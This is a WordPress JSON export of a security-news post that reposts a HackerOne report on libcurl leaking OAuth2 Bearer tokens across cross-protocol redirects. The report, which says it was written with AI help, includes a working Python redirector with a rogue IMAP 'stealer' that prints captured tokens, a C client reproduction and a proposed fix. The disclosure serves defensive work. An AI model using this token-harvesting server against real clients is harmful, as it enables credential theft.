{"id":36161,"date":"2026-01-17T09:35:40","date_gmt":"2026-01-17T09:35:40","guid":{"rendered":"http:\/\/localhost\/?p=36161"},"modified":"2026-01-17T09:35:40","modified_gmt":"2026-01-17T09:35:40","slug":"curl-libcurl-improper-authentication-state-management-on-cross-protocol-redirects","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=36161","title":{"rendered":"curl: libcurl: Improper Authentication State Management on Cross-Protocol Redirects_H1:3514263"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-01-17T15:30:31&#8243;,&#8221;description&#8221;:&#8221;Following the recent advisory for **CVE-2025-14524**, I conducted an investigation into how libcurl manages OAuth2 credentials during complex redirect chains. I have confirmed that while the library successfully protects traditional user credentials, it fails to clear OAuth2 Bearer tokens in the same way during cross-protocol or cross-origin redirects. This report provides a detailed analysis and a working reproduction of how an attacker can leverage this state-management flaw to exfiltrate valid Bearer tokens.\\n\\n**AI Statement**: This report was researched and generated with the assistance of an AI agent to analyze the libcurl source code and identify inconsistent state management logic. However, the vulnerability has been manually verified, the Proof of Concept code was compiled and executed locally, and the findings have been confirmed against a custom TCP server to ensure validity and reproducibility.\\n\\n## Vulnerability Description\\n\\nThe core issue is an inconsistency in libcurl&#8217;s security boundary logic. When a request is redirected to a different host, port, or protocol, libcurl correctly invokes a \\&#8221;clear\\&#8221; operation on authentication state to prevent credential leakage (behavior hardened during the fix for CVE-2022-27774). However, my analysis shows that this clearing logic is incomplete as it only targets standard user\/password fields.\\n\\nBecause the OAuth2 Bearer token (`CURLOPT_XOAUTH2_BEARER`) is stored separately in the handle&#8217;s configuration, it survives the \\&#8221;clear\\&#8221; operation. When the transfer continues to the new destination, libcurl sees a valid Bearer token and automatically includes it in the new session&#8217;s headers or SASL handshake.\\n\\n### Attack Scenario\\n1. **Victim Initialization**: An application initiates a trusted request (e.g., to an internal API) with `CURLOPT_XOAUTH2_BEARER` set and `CURLOPT_FOLLOWLOCATION` enabled.\\n2. **The Hook**: A malicious or compromised server returns a `301\/302` redirect pointing to an attacker-controlled service using a different protocol (e.g., `imap:\/\/`).\\n3. **The Leak**: libcurl follows the redirect. While it clears standard password credentials, the Bearer token remains. Upon connecting to the IMAP server, libcurl attempts SASL authentication and sends the token to the attacker.\\n\\n## Proof of Concept\\n\\nI have built a custom environment to demonstrate the leak. This consists of a multi-protocol listener and a standard libcurl client.\\n\\n### 1. Redirect \\u0026 Stealer Server (`redirect_server.py`)\\nThis script simulates the redirector and the credential-harvesting endpoint.\\n\\n&#8220;`python\\nimport socket\\nimport threading\\nimport re\\nimport base64\\n\\ndef http_redirector():\\n    host = &#8216;127.0.0.1&#8217;\\n    port = 8080\\n    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:\\n        s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\\n        s.bind((host, port))\\n        s.listen(1)\\n        print(f\\&#8221;[HTTP] Redirector listening on {host}:{port}\\&#8221;)\\n        conn, addr = s.accept()\\n        with conn:\\n            req = conn.recv(1024)\\n            # Redirecting to IMAP to trigger SASL authentication\\n            redirect = (\\n                \\&#8221;HTTP\/1.1 301 Moved Permanently\\\\r\\\\n\\&#8221;\\n                \\&#8221;Location: imap:\/\/victim@127.0.0.1:1430\/\\\\r\\\\n\\&#8221;\\n                \\&#8221;Content-Length: 0\\\\r\\\\n\\\\r\\\\n\\&#8221;\\n            )\\n            conn.sendall(redirect.encode())\\n            print(\\&#8221;[HTTP] Sent 301 Redirect to imap:\/\/victim@127.0.0.1:1430\/\\&#8221;)\\n\\ndef imap_stealer():\\n    host = &#8216;127.0.0.1&#8217;\\n    port = 1430\\n    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:\\n        s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\\n        s.bind((host, port))\\n        s.listen(1)\\n        print(f\\&#8221;[IMAP] Stealer listening on {host}:{port}\\&#8221;)\\n        \\n        conn, addr = s.accept()\\n        with conn:\\n            print(f\\&#8221;[IMAP] Victim connected from {addr}\\&#8221;)\\n            conn.sendall(b\\&#8221;* OK [CAPABILITY IMAP4rev1 AUTH=XOAUTH2] Rogue Ready\\\\r\\\\n\\&#8221;)\\n            \\n            while True:\\n                data = conn.recv(4096).decode(&#8216;utf-8&#8217;, &#8216;ignore&#8217;)\\n                if not data: break\\n                \\n                if \\&#8221;AUTHENTICATE XOAUTH2\\&#8221; in data.upper():\\n                    conn.sendall(b\\&#8221;+\\\\r\\\\n\\&#8221;)\\n                    token_data = conn.recv(4096).decode(&#8216;utf-8&#8217;, &#8216;ignore&#8217;)\\n                    print(f\\&#8221;\\\\n[!!!] CAPTURED BEARER TOKEN: {token_data.strip()}\\\\n\\&#8221;)\\n                    break\\n\\nif __name__ == \\&#8221;__main__\\&#8221;:\\n    threading.Thread(target=http_redirector).start()\\n    threading.Thread(target=imap_stealer).start()\\n&#8220;`\\n\\n### 2. Client Reproduction Code (`client_reproduce.c`)\\n&#8220;`c\\n#include \\u003cstdio.h\\u003e\\n#include \\u003ccurl\/curl.h\\u003e\\n\\nint main(void) {\\n    CURL *curl;\\n    const char *secret_token = \\&#8221;TOP_SECRET_SESSION_TOKEN\\&#8221;;\\n\\n    curl_global_init(CURL_GLOBAL_ALL);\\n    curl = curl_easy_init();\\n\\n    if(curl) {\\n        curl_easy_setopt(curl, CURLOPT_URL, \\&#8221;http:\/\/127.0.0.1:8080\/initial_request\\&#8221;);\\n        curl_easy_setopt(curl, CURLOPT_XOAUTH2_BEARER, secret_token);\\n        curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L);\\n        curl_easy_setopt(curl, CURLOPT_REDIR_PROTOCOLS_STR, \\&#8221;http,https,imap\\&#8221;);\\n        curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L);\\n\\n        printf(\\&#8221;[*] Executing transfer with Bearer token&#8230;\\\\n\\&#8221;);\\n        curl_easy_perform(curl);\\n        curl_easy_cleanup(curl);\\n    }\\n    return 0;\\n}\\n&#8220;`\\n\\n### Steps to Reproduce\\n1. Start the server: `python redirect_server.py`\\n2. Compile and run the client: `gcc client_reproduce.c -o repro -lcurl \\u0026\\u0026 .\/repro`\\n3. Check the server logs. You will see the captured token in base64 format.\\n\\n&#8212;\\n\\n## Vulnerable Code Analysis\\nThe root cause is located in `lib\/http.c`. When a redirect requires clearing credentials, the code only targets standard fields:\\n\\n&#8220;`c\\n\/* Location: lib\/http.c *\/\\nif(clear) {\\n    Curl_safefree(data-\\u003estate.aptr.user);\\n    Curl_safefree(data-\\u003estate.aptr.passwd);\\n    \/* VULNERABILITY: OAuth2 Bearer token is not cleared here *\/\\n}\\n&#8220;`\\n\\n### Technical Recommendation\\nTo address this, the Bearer token must be explicitly cleared alongside the username and password when a security boundary is crossed:\\n\\n&#8220;`c\\nif(clear) {\\n    Curl_safefree(data-\\u003estate.aptr.user);\\n    Curl_safefree(data-\\u003estate.aptr.passwd);\\n    \/* Recommended Fix *\/\\n    Curl_setstropt(\\u0026data-\\u003eset.str[STRING_BEARER], NULL); \\n}\\n&#8220;`\\n\\n## Impact\\n\\n1. **Credential Exfiltration**: Valid, high-privilege Bearer tokens are leaked to unauthorized external servers.&#8221;,&#8221;published&#8221;:&#8221;2026-01-17T07:52:01&#8243;,&#8221;modified&#8221;:&#8221;2026-01-17T15:14:17&#8243;,&#8221;type&#8221;:&#8221;hackerone&#8221;,&#8221;title&#8221;:&#8221;curl: libcurl: Improper Authentication State Management on Cross-Protocol Redirects&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;H1:3514263&#8243;,&#8221;bulletinFamily&#8221;:&#8221;bugbounty&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2022-27774&#8243;,&#8221;CVE-2025-14524&#8243;],&#8221;sourceData&#8221;:&#8221;&#8221;,&#8221;sourceHref&#8221;:&#8221;&#8221;,&#8221;cvss&#8221;:{&#8220;score&#8221;:5.7,&#8221;severity&#8221;:&#8221;MEDIUM&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:N\/AC:L\/PR:L\/UI:R\/S:U\/C:H\/I:N\/A:N&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/hackerone.com\/reports\/3514263&#8243;,&#8221;category_name&#8221;:&#8221;News&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-01-17T15:30:31&#8243;,&#8221;description&#8221;:&#8221;Following the recent advisory for **CVE-2025-14524**, I conducted an investigation into how libcurl manages OAuth2 credentials during complex redirect chains. I have confirmed that while&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4],"tags":[6,8,138,12,117,21,13,7,11,5],"class_list":["post-36161","post","type-post","status-publish","format-standard","hentry","category-category_news","tag-cve","tag-cvss","tag-cvss-57","tag-exploit","tag-hackerone","tag-medium","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>curl: libcurl: Improper Authentication State Management on Cross-Protocol Redirects_H1:3514263 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=36161\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"curl: libcurl: Improper Authentication State Management on Cross-Protocol Redirects_H1:3514263 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-01-17T15:30:31&#8243;,&#8221;description&#8221;:&#8221;Following the recent advisory for **CVE-2025-14524**, I conducted an investigation into how libcurl manages OAuth2 credentials during complex redirect chains. I have confirmed that while...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=36161\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-01-17T09:35:40+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"5 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=36161#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=36161\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"curl: libcurl: Improper Authentication State Management on Cross-Protocol Redirects_H1:3514263\",\"datePublished\":\"2026-01-17T09:35:40+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=36161\"},\"wordCount\":1082,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"CVSS-5.7\",\"exploit\",\"hackerone\",\"MEDIUM\",\"news\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_news\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=36161#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=36161\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=36161\",\"name\":\"curl: libcurl: Improper Authentication State Management on Cross-Protocol Redirects_H1:3514263 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-01-17T09:35:40+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=36161#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=36161\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=36161#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"curl: libcurl: Improper Authentication State Management on Cross-Protocol Redirects_H1:3514263\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"curl: libcurl: Improper Authentication State Management on Cross-Protocol Redirects_H1:3514263 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=36161","og_locale":"en_US","og_type":"article","og_title":"curl: libcurl: Improper Authentication State Management on Cross-Protocol Redirects_H1:3514263 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-01-17T15:30:31&#8243;,&#8221;description&#8221;:&#8221;Following the recent advisory for **CVE-2025-14524**, I conducted an investigation into how libcurl manages OAuth2 credentials during complex redirect chains. I have confirmed that while...","og_url":"https:\/\/zero.redgem.net\/?p=36161","og_site_name":"zero redgem","article_published_time":"2026-01-17T09:35:40+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"5 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=36161#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=36161"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"curl: libcurl: Improper Authentication State Management on Cross-Protocol Redirects_H1:3514263","datePublished":"2026-01-17T09:35:40+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=36161"},"wordCount":1082,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","CVSS-5.7","exploit","hackerone","MEDIUM","news","Security","tapic","Vulnerability"],"articleSection":["category_news"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=36161#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=36161","url":"https:\/\/zero.redgem.net\/?p=36161","name":"curl: libcurl: Improper Authentication State Management on Cross-Protocol Redirects_H1:3514263 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-01-17T09:35:40+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=36161#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=36161"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=36161#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"curl: libcurl: Improper Authentication State Management on Cross-Protocol Redirects_H1:3514263"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/36161","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=36161"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/36161\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=36161"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=36161"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=36161"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}